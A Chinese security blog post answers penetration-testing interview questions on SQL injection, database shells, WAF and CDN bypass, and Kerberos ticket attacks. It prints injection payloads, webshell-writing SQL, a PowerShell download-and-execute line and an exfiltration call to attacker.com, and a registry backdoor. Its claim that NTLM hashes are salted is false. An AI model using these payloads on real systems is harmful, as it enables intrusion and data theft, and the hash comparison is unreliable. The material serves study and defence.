网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
奇安信-Ateam
一、SQL注入攻防技术体系
1.1 SQL注入类型矩阵(基于利用方式)
1.1.1 典型利用方式
1.2 SQL写马技术路径
1.2.1 数据库特性写文件
1.2.2 Web服务漏洞结合
二、数据库高级利用技术
2.1 Oracle注入扩展利用
2.1.1 典型攻击场景
2.2 SQL Server获取Shell方法
2.2.1 现代攻击技术
三、协议与策略绕过技术
3.1 同源策略绕过方式
3.1.1 高级绕过技术
四、渗透测试全流程解析
4.1 完整渗透流程框架
4.1.1 后渗透关键操作
五、WAF绕过技术进阶
5.1 语义检测绕过矩阵
5.1.1 现代绕过技术
六、预编译场景注入可能性
6.1 预编译失效场景分析
6.1.1 安全解决方案
七、并发模型技术对比
7.1 多线程 vs 协程
八、Kerberos票据攻防
8.1 黄金票据与白银票据对比
8.1.1 检测防御方案
九、Windows认证协议演进
9.1 LM Hash与NTLM Hash对比
十、CDN绕过技术全景
10.1 CDN绕过方法矩阵
10.1.1 高级技术补充
奇安信-Ateam
sql注入基于利用方式而言有哪些类型? sql注入写马有哪些方式 oracle注入除了注入数据之外有哪些直接利用的方式?sqlserver获取shell的方式? 同源策略的绕过方式 完整渗透测试流程思路(拿shell到后渗透流程) 如何绕过基于语义检测的waf,比如雷池,阿里云等 预编译场景下是否存在sql注入(如果存在可控数据呢?) 多线程和协程的区别 黄金票据和白银票据的区别 php中LM hash和NTLM hash的区别 CDN的绕过方式
一、SQL注入攻防技术体系
1.1 SQL注入类型矩阵(基于利用方式)
mermaid
graph TD A[SQL注入类型] --> B(联合查询注入) A --> C(报错注入) A --> D(布尔盲注) A --> E(时间盲注) A --> F(堆叠注入) A --> G(二阶注入) B --> B1(通过UNION扩展结果集) C --> C1(利用数据库报错函数) D --> D1(基于布尔逻辑判断) E --> E1(利用延时函数探测) F --> F1(多语句执行) G --> G1(存储过程二次触发)
1.1.1 典型利用方式
- 联合查询注入:
sql
' UNION SELECT username,password FROM users--
- 报错注入(MySQL示例):
sql
AND updatexml(1,concat(0x7e,version()),1)
- 时间盲注(Oracle示例):
sql
CASE WHEN ASCII(SUBSTR((SELECT user FROM dual),1,1))=83 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) END
1.2 SQL写马技术路径
1.2.1 数据库特性写文件
数据库类型 写文件方法 前提条件 MySQL SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php'
secure_file_priv为空 SQL Server EXEC xp_cmdshell 'echo ^<?php eval($_POST[cmd]);?^> > C:\inetpub\shell.php'
开启xp_cmdshell组件 Oracle UTL_FILE.PUT_LINE('/webroot','shell.jsp','<% Runtime.getRuntime().exec(request.getParameter("cmd")) %>')
DBA权限且目录权限开放 1.2.2 Web服务漏洞结合
- 通过
LOAD_FILE()
读取Web路径配置- 利用文件上传漏洞写入Web目录
- 注入点配合Web框架模板渲染漏洞
二、数据库高级利用技术
2.1 Oracle注入扩展利用
mermaid
graph LR A[Oracle注入利用] --> B(执行系统命令) A --> C(文件读写) A --> D(权限提升) A --> E(网络探测) B --> B1(Java存储过程调用) C --> C1(UTL_FILE包操作) D --> D1(利用DBMS_JOB提权) E --> E1(UTL_HTTP发起请求)
2.1.1 典型攻击场景
- 命令执行:
sql
CREATE OR REPLACE JAVA SOURCE NAMED "Exec" AS import java.lang.*;...
- SMB Relay攻击:
sql
UTL_HTTP.REQUEST('http://attacker.com/' ||SYS_CONTEXT('USERENV','OS_USER'))
2.2 SQL Server获取Shell方法
mermaid
graph TB A[Shell获取方式] --> B(启用xp_cmdshell) A --> C(OLE自动化) A --> D(CLR集成) B --> B1(EXEC sp_configure 'xp_cmdshell',1) C --> C1(使用sp_OACreate执行命令) D --> D1(加载.NET程序集)
2.2.1 现代攻击技术
- PowerShell注入:
sql
EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"'
- 注册表持久化:
sql
EXEC xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','backdoor','REG_SZ','C:\shell.exe'
三、协议与策略绕过技术
3.1 同源策略绕过方式
mermaid
graph LR A[同源策略绕过] --> B(CORS配置错误) A --> C(JSONP劫持) A --> D(postMessage滥用) B --> B1(Access-Control-Allow-Origin: *) C --> C1(未校验回调函数名) D --> D1(跨窗口消息监听)
3.1.1 高级绕过技术
- DNS Rebinding攻击:利用TTL过期重新绑定IP
- WebSocket协议滥用:建立跨域双向通信通道
- Service Worker劫持:通过注册恶意worker缓存敏感数据
四、渗透测试全流程解析
4.1 完整渗透流程框架
mermaid
graph TD A[信息收集] --> B(漏洞扫描) B --> C(漏洞利用) C --> D(权限维持) D --> E(横向移动) E --> F(数据窃取) F --> G(痕迹清除) A --> A1(域名/IP资产发现) A1 --> A2(端口服务扫描) B --> B1(SQL注入/XSS检测) C --> C1(Metasploit利用) D --> D1(后门/Webshell部署) E --> E1(Pass-the-Hash攻击)
4.1.1 后渗透关键操作
- 黄金票据攻击:伪造TGT票据实现域控持久化
- LSASS内存提取:使用Mimikatz获取明文凭证
- WMI事件订阅:创建永久后门
五、WAF绕过技术进阶
5.1 语义检测绕过矩阵
绕过类型 技术实现 典型案例 注释分割 SEL/**/ECT
绕过关键字检测 十六进制编码 0x732F6C6F67696E
→ 's/login'混淆敏感字符串 数据库特性利用 MySQL的 /*!50000SELECT*/
版本特异性语法 协议级混淆 HTTP分块传输编码 绕过内容长度检测 逻辑绕过 WHERE 1=1 AND (SELECT ...)
构造复杂条件表达式 5.1.1 现代绕过技术
- Unicode规范化攻击:利用字符编码差异
sql
%u0053%u0045%u004c%u0045%u0043%u0054 → SELECT
- JSON格式注入:
http
POST /api HTTP/1.1 {"query":"admin' AND 1=CONVERT(int,@@version)--"}
六、预编译场景注入可能性
6.1 预编译失效场景分析
mermaid
graph LR A[预编译失效点] --> B(动态表名) A --> C(排序参数) A --> D(批量插入) A --> E(IN语句参数) B --> B1(String query = "SELECT * FROM "+tableName) C --> C1("ORDER BY "+sortField) D --> D1("INSERT INTO t VALUES (?,?), (?,?)") E --> E1("WHERE id IN ("+params+")")
6.1.1 安全解决方案
- 白名单校验:对表名/列名进行严格过滤
- 参数化拼接:使用框架提供的安全方法
python
# SQLAlchemy示例 stmt = text("SELECT * FROM table WHERE id=:id").bindparams(id=value)
七、并发模型技术对比
7.1 多线程 vs 协程
维度 多线程 协程 调度机制 操作系统内核调度 用户态协作式调度 上下文切换成本 高(涉及内核模式切换) 低(仅寄存器保存) 内存占用 每个线程约1MB栈内存 通常小于10KB 并发处理能力 千级并发 百万级并发 适用场景 CPU密集型任务 I/O密集型任务
八、Kerberos票据攻防
8.1 黄金票据与白银票据对比
mermaid
graph LR A[黄金票据] --> B(需要krbtgt哈希) A --> C(生成任意服务TGT) A --> D(权限最大) E[白银票据] --> F(需要服务哈希) E --> G(生成特定服务ST) E --> H(隐蔽性更强)
8.1.1 检测防御方案
- 票据有效期检测:黄金票据有效期通常设置为10年
- SPN变更监控:白银票据依赖特定服务主体名称
- AES256加密强制:防止RC4-HMAC降级攻击
九、Windows认证协议演进
9.1 LM Hash与NTLM Hash对比
特征 LM Hash NTLM Hash 加密算法 DES MD4 密码处理 分割为两个7字符块 完整Unicode编码 抗彩虹表能力 弱(已被广泛破解) 较强(使用salt) 现代系统支持 Vista后默认禁用 仍广泛使用 存储格式 AAD3B435B51404EEAAD3B435B51404EE 32位十六进制字符串
十、CDN绕过技术全景
10.1 CDN绕过方法矩阵
mermaid
graph TD A[CDN绕过] --> B(子域名探测) A --> C(历史DNS查询) A --> D(邮件服务器IP) A --> E(国外访问) B --> B1(www.test.com 使用CDN但api.test.com 未使用) C --> C1(SecurityTrails查询历史A记录) D --> D1(MX记录解析获取真实IP) E --> E1(目标仅部署国内CDN节点)
10.1.1 高级技术补充
- SSL证书关联:通过证书颁发者信息关联真实IP
- HTTP头差异:对比CDN节点与源站Server头
- CloudFlare特定绕过:
bash
# 使用CloudFlair工具 cloudflair -d target.com -c /path/to/certificate.pem